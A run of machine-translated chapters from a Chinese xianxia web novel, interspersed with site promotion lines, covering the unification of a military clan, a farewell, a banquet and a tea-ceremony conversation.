    Please remember our website: Cool Notes Novels () Invincible, the fastest update rate starts from Daddy Xianzun.

 Chapter 2362： See off

    "Invincible, start with Dad Xianzun (!


    Yue Shifang also didn''t expect the reaction of this group of strategists to be so strong, so he was also a little stunned.


    At this moment, I saw Long Tianzong floating in front of Yue Shifang, reaching out and patted him on the shoulder.


    Of course, because of the physique of the soul, his shoulder slap can only mean meaning.


    Even so, the expression on Long Tianzong''s face is still very serious.


    "Xiao Shifang, I''m very pleased that you have this idea. In fact, even if you didn''t say it, I would have long wanted to remind you that if the military class were to split like this, it would be really dangerous!"


    "Yes!" Sima Yu also floated over at this time, and said seriously.


    "This guy Long Tianzong can''t speak a few human words, but I agree with this sentence. The military can''t be split like this anymore! If there is another scum like my unconvincing offspring, the military can really do it. Ruined!"


    "Yeah! And my offspring, if it weren''t because my current strength has all been dissipated, and I can still use Xiao Shifang to shoot? I **** choked him to death a long time ago!" Long Tianzong ignored Sima Yu The provocation, but burning in anger.


    Although they are in this Pantheon, they also know what happened outside.


    Therefore, they are naturally extremely dissatisfied with the actions of Long Yushu and Sima Chongchao, who are the ancestors of the Long family and Sima family.


    But helplessly, after the erosion of time, their strength has been completely wiped out.


    In fact, if it were not for the protection of the Pantheon, they might not even be able to keep this true spirit.


    So when Yue Shifang killed Long Yushu and Sima Chongchao, instead of being annoyed, the two clapped their hands and applauded, thinking that a piece of the heart disease was removed.


    Looking at the sincere faces of the sages of military strategists, Yue Shifang''s heart was also quite moved.


    He thought his proposal would attract opposition from some people!


    After all, according to his approach, many families will no longer exist.


    Unexpectedly, these sages were so sensible, and they all patted their chests to show their support.


    Therefore, Yue Shifang gave a deep salute to these seniors.


    "Yue Shifang would like to thank the seniors for their support."


    "Are you polite? Who are we with whom? Besides, aren''t we all for the sake of the military, so we don''t have to be so polite at all!" Zhong Lishan said with a smile.


    "Yes, you can do it boldly. If someone in the Gu family dares to object, you can tell me and I will scold them in a dream!" Gu Xianyi said with a smile.


    Everyone roared with laughter, and the atmosphere became a lot more relaxed.


    At this moment, Yue Shifang, who was already smiling, was slightly startled, and Xuan even sighed lightly.


    "Seniors, I still have something to do, so I''ll leave first!"


    "What''s the matter? I finally came here, why did you leave so quickly? I''ll talk with us more!" Gu Xianyi asked strangely.


    On the contrary, Yue Huazang, who had not spoken aside for a while, said suddenly, "Is Guannan leaving?"


    Yue Shifang gave a wry smile, then nodded, "Yes!"


    When they heard that Yue Guannan was involved, Gu Xianyi, Zhong Lishan and others all opened their eyes wide.


    "Why are you leaving so soon?"


    "Yeah! Actually, I was surprised that she could come back and help me this time. Now that she is leaving, I have to send it off. After all..."


    Yue Shifang didn''t finish the following words, but all the people present already understood the meaning.


    Gu Xianyi sighed, "It''s really a fate, it seems that Guannan, this girl, still can''t get out!"


    Zhong Lishan couldn''t help but said: "Seriously Xiao Shifang, although you and Na Guannan have been in the same stomach for a few months, you two have no blood relationship. Why can''t you accept her?"


    As soon as he finished speaking, Gu Xianyi on the side reached out and knocked him on the head.


    "What nonsense? Even if you are not related by blood, she is Shifang''s sister. How can such a pure brother-sister relationship be tainted by your dirty thoughts?"


    Zhong Lishan shrank his neck, smiled embarrassedly, and muttered softly, "That''s what I said, isn''t it the same for Qinghuan!"


    "Why is Qinghuan the same? Qinghuan''s origin is more mysterious than we thought!" Gu Xianyi said.


    "Okay, okay!" Yue Huazang interrupted her suddenly, and then said to Yue Shifang.


    "Don''t quarrel between you two! Since Guannan really wants to leave, then you can send her off. She has helped you so many times. You must be grateful to her!"


    "Ok!"


    Yue Shifang nodded to everyone, then turned and left.


    When he left, Yue Huazang looked at Gu Xianyi and said solemnly: "Didn''t I tell you, don''t talk about Qinghuan''s origins?"


    Gu Xianyi stuck out her tongue, "I''m sorry, I was excited for a while, I forgot!"


    "Don''t mention it in the future!"


    "Ok!"


    Zhong Lishan couldn''t help asking: "Old Man Yue, what is Qinghuan''s origin, and even kept you so secretive?"


    Yue Huazang sighed softly, "Ask what you should ask, and you''d better not ask if you shouldn''t. Knowing too much is not a good thing!"


    With that said, Yue Huazang turned around and returned to his spiritual position.


    Looking at his back, Zhong Lishan curled his lips, "If you don''t want to say it, don''t say it, why is it so mysterious!"


    After speaking, he returned to his spiritual position without any interest.


    The remaining people looked at each other and stopped staying, one by one returned to their positions and fell into a deep sleep.


    And when the Pantheon returned to silence, two figures appeared in a void outside the soldier''s galaxy.


    These two figures, one man and one woman, are Yue Shifang and Yue Guannan.


    "Actually, you didn''t use it to give me away!" Yue Guannan whispered.


    Yue Shifang sighed softly, "Last time you left, I couldn''t give you a gift because of physical reasons. This time I want to give one away! After all...you did so much for me!"


    Yue Guannan was silent for a moment, then chuckled lightly, "Is it because of this? Then you don''t have to!"


    As she said, she turned her head to look at the magnificent Military Academy galaxy in the distance, and said lightly: "Because I am not doing things for you, but for the Yue Family!"


    Yue Shifang looked at her side face lined with silver rim plated by the starlight, and was a little speechless for a while, and he didn''t speak slowly until a long time later.


    "Then I will thank you for the Yue family!"


    But his words just fell but seeing the tears in Yue Guannan''s eyes fell down, and he swallowed the words that followed.


    "Is that what you want to tell me?"


    Yue Shifang was a little panicked.


    Because he didn''t know how he should respond.


    Although he has existed for thousands of years, for him, the tears of the girl are more difficult to deal with than the most terrifying evil leader.


    So he can only be silent.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2362 See off), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2363： Soldiers 1

    "Okay, I see! Thank you for your gratitude!" Yue Guannan bent his head slightly towards him, then turned and left.


    "Wait a minute!" Yue Shifang finally called out these three words.


    Yue Guannan stopped, but didn''t look back, "Does Patriarch Yue have anything else to say?"


    Yue Shifang whispered for a moment, and then said: "After leaving the military family, where are you going to go?"


    "I don''t know, but the entire outer sky is so vast, there is always a place for me!"


    "Then can I see you in the future?"


    "See me?" Yue Guannan turned around and smiled miserably, "Do you think it is necessary for us to meet?"


    Yue Shifang was silent again.


    Because the brilliance in Yue Guannan''s eyes made him afraid to look directly.


    "Don''t want to say anything more?" Yue Guannan looked at Yue Shifang and said softly.


    "Take care all the way!" Yue Shifang said with difficulty.


    The brilliance in Yue Guannan''s eyes quickly dimmed, and finally his eyes dropped.


    "You too, take care!"


    After that, she turned around resolutely, transformed into a dazzling brilliance, and instantly disappeared into the void in front of her.


    Yue Shifang felt as if he had been punched in his chest, and he was so suffocated that he couldn''t breathe.


    At this moment, a faint sigh came from behind him.


    "If you want to chase now, you can still catch up!"


    Yue Shifang didn''t even turn his head, because he knew who was here.


    I saw the second girl strolling out of the darkness behind Yue Shifang, and came to his side.


    Yue Shifang shook his head, "Why chase? Rather than making her suffer all the time, it is better to cut off all fantasies directly. Although it will be sad at the beginning, time can eventually heal all scars! "


    The second girl looked at Yue Shifang and couldn''t help saying: "You are really cruel!"


    "This is not cruel, it''s just a choice that must be made! After all, this is also responsible for you!"


    The second girl turned to look at the void in the distance, there was no joy on her face, but only sympathy, and then said quietly.


    "But what is wrong with her? Just because she likes someone she shouldn''t like, should she suffer such torture?"


    Yue Shifang couldn''t answer this question.


    In fact, there should not be many people who can answer this question.


    At least An Yan couldn''t help sighing after hearing this.


    "What a poor woman!"


    Then he put his face on Xue An''s chest and circled it with his hands.


    "What do you mean husband?"


    Xue An put his arms around her shoulders, leaned on the chair, looking up at the bright stars in the sky, speechless for a long while.


    Until An Yan asked again: "Husband, what do you think?"


    Xue An only smiled bitterly, "What can I say? Sympathy or regret?"


    "Then you should have to say something too!"


    Xue An smiled and rubbed her hair, "What can you do if you don''t talk about it?"


    "Hate, it messed up people''s hair again!" An Yan groaned.


    Xue An smiled without saying a word, because he knew An Yan''s character too well. After being satisfied, he would often be as cute and cute as a kitten.


    The two laughed for a while, and finally ended up with An Yan "begging for mercy".


    Then Xue An said calmly: "In fact, feelings are not something that people can control. At least she has loved it. This is enough, isn''t it?"


    An Yan nodded without understanding, "Hmm!"


    Then she seemed to remember something suddenly, "By the way, husband, where are you going next?"


    "Huh? Do you know that I am leaving?" Xue An looked at An Yan in surprise.


    An Yan smiled, "Of course you know, because you will only let me appear when you decide to leave!"


    Xue An: "..."


    Xuan even squeezed An Yan''s nose dubiously, "You, sometimes it''s so... silly and cute!"


    "Why am I stupid again?" An Yan said aggrieved.


    "Neither stupid nor stupid, Yan''er is the smartest in the world, this will work now!"


    "Huh, it''s almost the same!"


    An Yan turned his anger into joy, and then asked: "Seriously, the real murderer still hasn''t been found behind the scenes. What are you going to do next?"


    Xue An smiled, "Although the real murderer has not been found behind the scenes, he has a lot of precious information!"


    "You mean the reason for the decline of the Chinese people back then?"


    "Yes, but I don''t plan to investigate these directly now, because my top priority is to improve my strength first, after all... what I am challenging may be an existence that the saints and even the masters cannot match!


    When he said this, Xue An didn''t have the slightest fear in his eyes, but only supreme confidence.


    And this confident light also fascinated An Yan.


    "Well, I believe your husband, you can do it! But do you have to tell your little lover before you leave?" An Yan said hurriedly.


    "Little lover? Which little lover?"


    "Be less stupid, that''s the Qinghuan girl who follows your **** all day long and is full of admiration!"


    Xue An is almost full of laughter, but looking at An Yan''s sullen and angry expression, Xue An also knows that she is a little jealous.


    So he smiled: "Stop talking nonsense, don''t you know who I am? But goodbye is for sure After all, she is considered to have helped me."


    An Yan stared at Xue An until the expression on his face became a little embarrassed, and then he snorted, "Looking at how scared you are, I am teasing you! Do you think I''m really jealous?"


    Xue An: "..."


    "But really my husband, when are you going to leave?"


    "How can you wait for Yue Shifang to completely unify this military strategist!"


    "How long will it take to unify the military?"


    Xue An smiled, "Don''t worry, it should be soon!"


    As Xue An said, after Yue Shifang sent off Yue Guannan, he immediately accelerated the pace of unifying the military strategist.


    Because all the obstacles in the early stage have been cleared, things went very smoothly.


    Many families are almost fully cooperating with Yue Shifang''s actions.


    After all, even fools can see that reunification is already an unstoppable trend.


    Even if a very small number of people harbor criticisms, they dare not express it.


    Because the lessons learned from the Long Family and the Sima Family are right there.


    If you want to object, you have to weigh your own strength first.


    In this case, it only took less than ten days to completely break up the twelve points of the entire military strategist and unite again.


    At this point, the military strategist has finally returned to unity after thousands of years of division, and what is left is just a few trivial matters that need to be dealt with.


    Then Houyue Shicong solemnly announced that a grand celebration party would be held.


    The news broke out, and the entire military strategist boiled again.


    The invincible chapters of "Invincible, Starting from the Immortal Daddy" will continue to be updated on the novel website, there is no advertisement in the site, please collect and recommend it!


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2364： Celebration dinner

    "Invincible, start with Dad Xianzun (!


    Yue family.


    Yue Hechang led many parents-in-law to be so busy that it was impossible to get along with each other.


    You must know that this evening party is the first big gathering after the unification of military strategists, and it is still held in the Yue family, so the significance is naturally extraordinary.


    Therefore, Yue Hechang and the others were all up and running, and they were busy with everything about the party.


    Although very tiring and cumbersome, no one expressed boredom.


    On the contrary, everyone��s face is full of smiles.


    Because although the body is tired, but the spirit has been greatly satisfied.


    After all, this is the scene they have always dreamed of!


    Under this situation, people from various big families came in, and soon the Yue family became lively.


    When the Hua Deng first appeared, with Yue Shifang''s appearance, the atmosphere of the dinner finally reached a climax.


    Regardless of the previous hatreds, the people of the families have put aside their prejudices at this moment, and raised their glasses together to welcome Yue Shifang''s arrival.


    Seeing this bustling scene, Xue An, who was sitting in an inconspicuous corner, smiled slightly, and then drank a cup.


    At this moment, a fragrant wind hit, and then the seat cushion next to him sank slightly.


    "Why do you hide here to drink by yourself?" Yue Qing laughed.


    "It''s nothing, I just don''t like the excitement too much!" Xue An said lightly.


    "Actually, I am the same. Staying with the daughters of those families is annoying!"


    Having said that, Yue Qinghuan leaned back in the chair lazily and stretched out without scruples.


    Although I didn''t look at it specifically, I was so close after all, even from the corner of my eye, I could catch a glimpse of the amazing curve at that moment.


    Especially today, Yue Qinghuan also wore a new peach-pink dress. At first glance, it was a carefully tailored masterpiece, showing Yue Qinghuan''s already perfect figure to the fullest.


    Xue An turned his head slightly unnaturally.


    Such a small action could not be concealed from others but Yue Qinghuan could not conceal it. She saw a sly color flashing in her eyes, deliberately leaning on Xue An again.


    Xue An gave a light cough, "Ahem, you are sitting here like this, I am afraid it is a bit bad!"


    "What''s wrong?"


    "Don''t you find that everyone is watching you?" Xue An smiled bitterly.


    As he said, when Yue Qinghuan, the goddess of the Yue family, sat here, almost all the eyes of the audience were attracted.


    After all, Yue Qinghuan not only looks peerless, but also has an invincible brother.


    Now even the fool knew that Yue Qinghuan''s identity would be even more expensive after the military strategists were unified.


    In this situation, naturally there are many young handsome people who are approaching Yue Qinghuan with their own careful thoughts.


    Unexpectedly, Yue Qinghuan didn''t give them this opportunity at all. After accompanying her brother on the stage and chatting with the eldest daughters in a coping style, she went straight to Xue An.


    This naturally attracted the attention of many people.


    Especially when Xue An and Yue Qinghuan, who were dressed in white, were sitting together, they looked like a pair of bi people, and there was a fire in the eyes of many teenagers who watched them.


    However, everyone in the Yue family was not surprised at all for this scene.


    Even a mysterious smile appeared on many people''s faces.


    To them, Xue An, who cured Yue Shifang''s injury, was already his family.


    And the affection of Miss San to Xue An can even be seen by a blind man.


    If they really come together, that would be a wonderful thing!


    In fact, there is no need to remind Xue An, Yue Qinghuan, who was born to perceive the good and evil in the other''s heart, knew that many people were watching him.


    But she smiled nonchalantly, "So what? I just sit where I want to sit, do I have to get their permission?"


    She even leaned against Xue An again, and the soft skin had already touched Xue An''s arm.


    There was a cold snort in Xue An''s mind, it was An Yan in the Fubao Xiaolou who was warning Xue An.


    Xue An smiled bitterly, then moved aside.


    "Hey, how do I feel that you are a little weird today?" Yue Qinghuan said.


    "Why is it weird? No, I am normal today!"


    "Really?" Yue Qinghuan said meaningfully.


    Xue An nodded, "Of course it is true!"


    "Then why don''t you dare to look at me!"


    Xue An was silent for a moment, and finally whispered softly: "Because I am leaving!"


    As soon as he said this, Yue Qinghuan trembled all over, and then his face became pale and abnormally pale.


    "go?"


    "Yeah! Actually I planned to wait until the dinner is over before telling you, but since you keep asking, I have to tell you in advance!"


    As he said, Xue An raised his eyes and looked at Yue Qinghuan quietly, "So...this is also a farewell to you!"


    In fact, Yue Qinghuan had anticipated Xue An''s departure, but she did not dare to think about it, or forced herself not to think about it.


    As if this problem does not exist anymore.


    But today, when Xue An uttered the word resignation in front of her, Yue Qinghuan still felt that there was something very important deep in his heart that broke.


    Sure enough... Does he still want to leave?


    Doesn''t he really know what he wants?


    Even if he has a family, I am willing to...


    For a time, countless chaotic thoughts flooded into his mind, making Yue Qinghuan''s eyes blurred.


    And it was this kind of confusion mixed with melancholy gaze that made Xue An feel as if he was really a guilty man, and felt uncomfortable.


    After a long time, Yue Qinghuan said quietly: "Then where are you going?"


    "I don''t know yet, but the sky outside the sky is so vast, I have to go around and improve my strength at the same time. After all, you also know who I am dealing with!" Xue An said softly.


    "Then... does my brother know?"


    "I don''t know yet, but he should be very clear that I will leave!"


    "But aren''t you the soldier in charge of our Yue family..."


    Xue An smiled, "The soldier in charge is just a joke, after all, my surname is Xue, not Yue!"


    Yue Qinghuan took a deep look at Xue An, then lowered his head and said in a low voice: "Okay, then I wish you a smooth journey!"


    "Thank you!"


    Immediately there was a kind of silent silence between the two.


    Yue Qinghuan lowered her head, her long hair shed, covering her face.


    But Xue An still saw her thin shoulders trembling slightly.


    This couldn''t help making Xue Anxin feel guilty. UU read and sighed.


    "There is always a banquet in the world, I..."


    Xue An was about to give a few words of persuasion, but before he could say anything, Yue Qinghuan rushed into his arms, hugged his waist tightly, and said in a crying voice.


    "But I don''t want you to go!"


    boom!


    The whole banquet hall couldn''t help but stir up.


    Countless teenagers glared at Xue An.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    For the convenience of reading next time, you can click "Favorite" below to record the reading record of this time (Chapter 2364 Celebration Dinner), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2365： I dont bother to do things that are not good

    As for those in the Yue family, they were also stunned. I don''t know why the third lady would hug Xue An in such a disregarded manner.


    Only Yue Junze smirked at Xue An, and at the same time quietly gave a thumbs up, his face full of admiration.


    Because in his opinion, Xue Zhangbing is simply too powerful.


    Actually let my cousin, the goddess recognized by the younger generation of military strategists, hug and hug so many people in front of so many people. Isn''t this amazing?


    Under the gaze of many eyes, Xue An felt his hair stand up.


    Because the anger in the sea of ??knowledge is not a joke.


    But he couldn''t get rid of it directly, because that would make his name as a "scumbag" even more real.


    So he can only smile bitterly.


    "Okay, Qinghuan, you let me go first, so many people are watching, how indecent!" Xue Anrou exhorted.


    But Yue Qinghuan came to twist Jin at this time, no matter what Xue An said, he just didn''t let go.


    A cold sweat broke out on Xue An''s forehead.


    It was the first time that he realized what it means to be on pins and needles.


    It''s not that he is afraid of those scorching eyes, the key is that the anger in the sea of ??knowledge is getting more and more vigorous.


    At this moment, but seeing Yue Shifang suddenly separated from the crowd and walked over.


    As soon as he saw him, Xue An looked at him imploringly as if he had seen a life-saving straw.


    The expression on Yue Shifang''s face looked like a smile, and he completely ignored Xue An''s look for help. He just walked closer, and then pretended to be surprised and said, "Oh, what are you doing?"


    Hearing his brother''s voice, Yue Qinghuan trembled and let go of his hands subconsciously.


    Xue An took this opportunity to stand up immediately, "Ah, nothing, just a few words!"


    Yue Qinghuan glanced at Xue An with a bitter face, then glared at his brother fiercely, before his figure flashed, and he disappeared in place.


    When she left, Xue An couldn''t help letting out a sigh of relief.


    But the next second he was choked back by Yue Shifang''s words.


    "Okay boy, you actually hooked up my sister in front of me, she''s pretty fat!"


    Xue An''s heart seemed to have 10,000 horses galloping past, but he was embarrassed to speak swearing in front of so many people, so he could only lower his voice.


    "What do you mean?"


    "What do you mean? You hugged and hugged my sister in front of so many people, so what do you mean by asking me?" Yue Shifang looked at the excitement with an expression that was not too big.


    Seeing the urgency in his eyes, Xue An suddenly understood.


    This guy made it clear that he wanted to stand up for his sister.


    At the same time, Cha Wenliang and Ao Shu also stepped forward.


    In fact, he and Ao Shu also saw what happened just now.


    At that time, if it hadn''t been for Cha Wenliang to grab Ao Shu, the angry dragon girl would have rushed over.


    Even now, a trace of anger still remained on her face, standing coldly behind Cha Wenliang, without even saying hello to Xue An.


    Cha Wenliang was a rare peacemaker at this time.


    "Ahem, it''s such a beautiful day, let''s say less off topic, come, drink and drink!"


    After speaking, he picked up the wine glass and handed it to Yue Shifang and Xue An.


    For this genius doctor who cured himself with ghost needles, Yue Shifang naturally wanted to give enough face, so he smiled and took the cup in his hand.


    "Thank you!"


    Of course, Xue An was even more looking forward to covering up the matter quickly, so he took it.


    After the three of them drank the wine in the glass, the storm was considered to have subsided.


    Then Cha Wenliang smiled and said to Yue Shifang: "Patriarch Yue, you are busy with business today, so hurry up and greet the guests. I just have a few words to say to Xue An!"


    Yue Shifang nodded, turned around and left.


    But just before leaving, he suddenly said indifferently: "Xue An, remember to come to the backyard flower hall after the dinner party, I also have a few words to say to you!"


    After that, he strode away.


    Seeing him leaving behind, Xue An smiled bitterly.


    Cha Wenliang smiled even more, "It seems that he still has no plans to let you go!"


    As he said, he blinked at Xue An, "But who asked you to meet his sister in front of so many people? No one would let you go!"


    As soon as he finished speaking, Ao Shu, who was drinking fruit wine standing behind him, crushed the cup in his hand, and then angrily said.


    "Let''s talk, I''m going over there!"


    After Ao Shu also left, Cha Wenliang sighed, "It seems that my apprentice still hasn''t completely given up on you!"


    "I am also puzzled. What is so good about you that can attract so many women to like it?"


    "In terms of appearance, you and I are both in the same position. In terms of strength, you are just a little fairy, and I am a ghost needle doctor who is famous for more than half of the world, but why don''t I like girls? It''s really amazing. It''s puzzling!"


    Cha Wenliang looked depressed.


    And Xue An looked at him with a short stature and a shameless appearance. Suddenly he didn''t know what to say, and he said in a deep voice after thinking for a long time.


    "Why did you just say you were looking for me?"


    "Oh, nothing, just want to ask, do you have time next!"


    "Huh? What''s the matter?" Xue An raised his eyebrows slightly.


    Cha Wenliang bared his teeth and said, "Hey, there is a good thing naturally!"


    As he said, he came forward mysteriously and lowered his voice: "Are you leaving when the dinner is over?"


    "Ok!"


    Xue An nodded. This is not a hard-to-guess secret.


    "Then do you plan to go?"


    "Not yet, but it''s nothing more than traveling around to improve your strength!"


    "That''s right!" Cha Wenliang slapped his thigh and said excitedly: "It just so happens that I have a once-in-a-lifetime opportunity. Not only can it help you improve your strength, but it can even make you famous in the world! "


    "Oh? What opportunity?"


    Zha Wenliang took out a jade slip from his arms, "Do you know what this is?"


    "do not know!"


    "This is an invitation letter from the Physician Union that I just received yesterday!"


    "Physician Union?"


    "Yes!" Zha Wenliang pointed at himself proudly, "I am the veteran of the Physician Union!"


    In addition to sect gangs and wealthy families, there are many alliances of all kinds in Tianwaitianzhong.


    Its purpose is to unite talents in the same industry and facilitate the flow of information.


    And the Physician Alliance is the largest medical dao alliance in the universe.


    "and then?"


    "Then you have to go to the Physician Union with me!" Cha Wenliang said naturally.


    But Xue An shook his head, "Don''t go!"


    Cha Wenliang was a little surprised, "Why not go?"


    "Nonsense, I''m not a doctor, why should I go?"


    "Of course follow me!"


    "It''s even worse to go with you!"


    "Why is this again?"


    "I don''t bother to do it because it''s not good!"


    The invincible chapters of "Invincible, Starting from the Immortal Daddy" will continue to be updated on the novel website, there is no advertisement in the site, please collect and recommend it!


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2366： Pharmacist Assembly

    "Invincible, start with Dad Xianzun (!


    Seeing Xue An with a righteous expression on his face, Cha Wenliang''s teeth tickled with hatred.


    This guy is sometimes admirable, but sometimes it''s so hateful.


    But in the end he calmed down and said in a deep voice, "Don''t worry, the reason why the Physician Union invited me this time is because of an extremely important gathering!"


    "At that time, almost all doctors and medicines in the entire Tianwaitian will participate and exchange transactions. This will also be a great opportunity for you! After all, if you can encounter rare and rare elixir, your cultivation level It will also make great progress!"


    Hearing what Cha Wenliang said, Xue An''s eyes gradually softened.


    "Oh? A big gathering where all doctors and medicine Dao will participate in the entire Tianwaitian?"


    "Ok!"


    "So it should be very lively?"


    "Of course, it can be said to be one of the best in Tianwaitian, the key is..."


    Zha Wenliang wanted to introduce in detail what would appear in this rally and how important it was to Xue An, but before he could finish speaking, Xue An interrupted him directly.


    "Okay, I''m going!"


    Zha Wenliang didn''t expect Xue An to promise so happily. After all, he just kept saying that it was not good for him and he didn''t bother to do things.


    Why did the attitude change so quickly?


    But he didn''t know that Xue An actually wanted to take his two daughters and An Yan to relax.


    After all, the two little girls and An Yan have hardly come out since they came to Tianwaitian, and they have been staying in the Fubao Xiaolou in the Sea of ??Knowledge.


    Although it was to ensure their safety, Xue An still felt very guilty.


    After all, the two daughters are at the age of innocence and playfulness. As a father, not only did he not be able to accompany them much, but instead kept them in the sea of ??knowledge.


    This naturally made Xue An feel a little sorry.


    So he decided long ago that when the military affairs were over, he must first take his two daughters to relax.


    After all, no matter how urgent the revenge is, one has to combine work and rest, right?


    And it just so happened that the rally that Cha Wenliang said just met Xue An''s requirements, so he decided to go.


    Anyway, after getting Xue An''s reply, Cha Wenliang left with great satisfaction.


    Then Xue An stayed at the banquet for a while before leaving early.


    Because he has seen him looking at himself with eager eyes for many years. Some people are even more eager to walk towards themselves.


    Xue An is very clear that these people are basically Yue Qinghuan''s admirers.


    It must be no good to find yourself.


    Although Xue An was not afraid, in order to stay away from these troubles and to avoid misunderstanding by others, he left the banquet hall quickly.


    And looking at his hurried back, the teenagers who tried to challenge him were also shocked.


    This guy...runs really fast!


    As the night darkened, the noise finally came to an end.


    The drunk people left separately, and the servants began to clean up the mess.


    The whole Yue family also quieted down.


    And it was in this situation that Xue An stepped into the backyard flower hall.


    The flowers that once withered and died were resurrected, and the petals of various colors adorned the night.


    In the rich fragrance of flowers, Xue An stepped up the steps, opened the curtain of green gauze, and walked in.


    In this small and exquisite flower hall, Yue Shifang was sitting around the furnace, with various tea sets in front of him.


    After hearing the footsteps, he didn''t even lift his head, but said faintly: "Wait a minute, the tea will be ready immediately!"


    Xue An was not polite and sat directly on the futon opposite him.


    But seeing Yue Shifang skillfully manipulating various tea sets, but his fluent movements always give people a feeling of deja vu.


    Soon, with the pouring of hot water, a faint fragrance of tea permeated.


    Yue Shifang smiled slightly, then picked up the teapot and filled Xue An with a cup of tea.


    The amber tea is placed in the azure tea set, which really has a different kind of beauty.


    "How does it taste?"


    Xue An picked up his cup, took a sip, then nodded.


    "Not bad!"


    "Really? Then I will try it too!"


    Speaking of Yue Shiconvenience, he filled himself with a glass happily, but after waiting to take his mouth, he frowned slightly, and finally shook his head helplessly.


    "Still not working! Strange, I have already cooked strictly according to your method? Why is it still almost tasted?"


    That''s right!


    The techniques that Yue Shifang just used were all born out of Xue Anping''s skills when he was cooking tea, and even many small movements were the same.


    This is why it gives people a sense of deja vu.


    But no matter how imitated it, Yue Shifang felt that the tea had a bad taste.


    An inexplicable taste.


    Xue An smiled faintly, "Want to know? Then I will tell you the answer!"


    With that, Xue An brushed over the coffee table in front of him, and the tea set on it was pushed to the edge of the table and then fell down.


    But before it fell to the ground, it shattered like a bubble, and then quickly disappeared without a trace, as if it had never appeared before.


    This hand made Yue Shifang''s eyelids twitch slightly.


    Because of being a superior, he knew exactly what Xue An''s approach meant.


    That is a method of obliterating matter in silence.


    It is not difficult to say, but in fact it requires an extremely deep understanding of the laws of heaven and earth.


    Generally, it is only possible to reach the level of a saint, but Xue An has now achieved this with only the power of Xianzun.


    This also shows how amazing Xue An''s talent or potential is.


    These thoughts flashed through Yue Shifang''s mind.


    And at this time, Xue An flipped his wrist and a brand new tea set reappeared on the table.


    Then he began to cook tea methodically.


    Yue Shifang sat opposite and watched quietly, his eyes full of curiosity.


    Because he also wanted to know where he was so bad.


    In the blink of an eye, the water in the kettle boiled, and then Xue An poured it into the teapot.


    In an instant, a strange fragrance came.


    A look of astonishment appeared on Yue Shifang''s face, and this astonishment finally reached its peak at the moment when the tea entered.


    "This smell..." Yue Shifang whispered softly.


    Xue An smiled faintly, "What''s wrong with this smell?"


    "There seems to be a little more chic flavor in this flavor!"


    After saying this, UU reading Yue Shifang suddenly laughed, "It turns out that it is, thank you, I understand!"


    Xue An also laughed, then gently filled himself with a cup of tea, took a sip before putting it down.


    "You imitated my actions everywhere when you were making tea. Although you have achieved a near-perfect restoration, you have fallen into the inferior as a result."


    "After all, true love has to obey the heart, and any external interference will only inevitably change its original taste!"


    Speaking of this, Xue An raised his head and looked at Yue Shifang with brilliant eyes.


    "What do you think?"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2366 Pharmacist Assembly), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2367： 3-year contract

    Yue Shifang was a little bit dumbfounded, "Are you taking the opportunity to make tea to teach me a lesson?"


    "Of course not, I just felt it!" Xue An smiled.


    Yue Shifang sighed softly, "Actually, you don''t need to tell me your thoughts so obscurely, you just tell me your true thoughts directly."


    Xue An did not speak, but sipped the tea gently, as if the teacup in front of him was the cutest thing in the world.


    After a long time, Yue Shifang finally felt helpless.


    "I''m really wondering, my sister is so beautiful and her talent is extremely high. You really don''t have any ideas at all?"


    Xue An shook his head, "No!"


    If someone else said this, Yue Shifang would definitely not believe it.


    But only when he said it from Xue An, Yue Shifang had to believe it.


    Because he refused his sister''s embrace in front of him.


    "Sometimes I really want to see how your heart grows, and you can be so unfeeling! To know how proud my sister is, so that you can accept the fact that you have a family, but you don��t He hesitated to reject her, this..."


    Yue Shifang couldn''t find an adjective to describe Xue An.


    "Don''t look at it, the reason why I am unfeeling is because I already have a lover of my own. Since my heart belongs to it, why bother to be in the red?"


    "So I''m sorry!" Xue An said softly.


    Yue Shifang was silent, and after a long time he sighed, "Don''t say sorry, you didn''t sorry me, let alone my sister, she just fell in love with someone who shouldn''t be loved!"


    "Is it the same as you and Guannan Commander?" Xue An blinked and said.


    This sentence successfully suppressed the sigh behind Yue Shifang.


    He glared at Xue An fiercely, "I kind of understand what Zha Wenliang said about you!"


    "Oh? What''s the comment?"


    "He said you are admirable sometimes, but sometimes so hateful!"


    "Haha, thanks for the compliment!" Xue An raised his glass in his hand, and rushed to the opposite Yue Shifang to raise his glass.


    Yue Shiconvenience also raised the tea cups, the two touched them, and then drank them all in one go.


    "Did you see him?" Xue An put down his teacup and said lightly.


    "Ok!"


    "He has a quick mouth!"


    "I don''t blame him. After all, it''s such a big event for the Pharmacist Alliance. I have no reason not to know!"


    With that, Yue Shifang smiled at Xue An.


    "To be honest, his wishful thinking is pretty good, and he actually asked you to accompany him on the journey! This way, not only can you have multiple bodyguards on the way, but when you arrive at the meeting place, your understanding of the soul will also help him. It shines in the Pharmacist Alliance."


    Xue An also laughed, "I know all of this, but I have to go and see this excitement!"


    "That''s right, come, have another drink!"


    The two drank another cup of tea.


    "What do you want me to do? Isn''t it just to learn the tea ceremony, and at the same time explore my style!" Xue An raised his eyebrows.


    "Of course it''s not that simple!"


    With that, the expression on Yue Shifang''s face became serious.


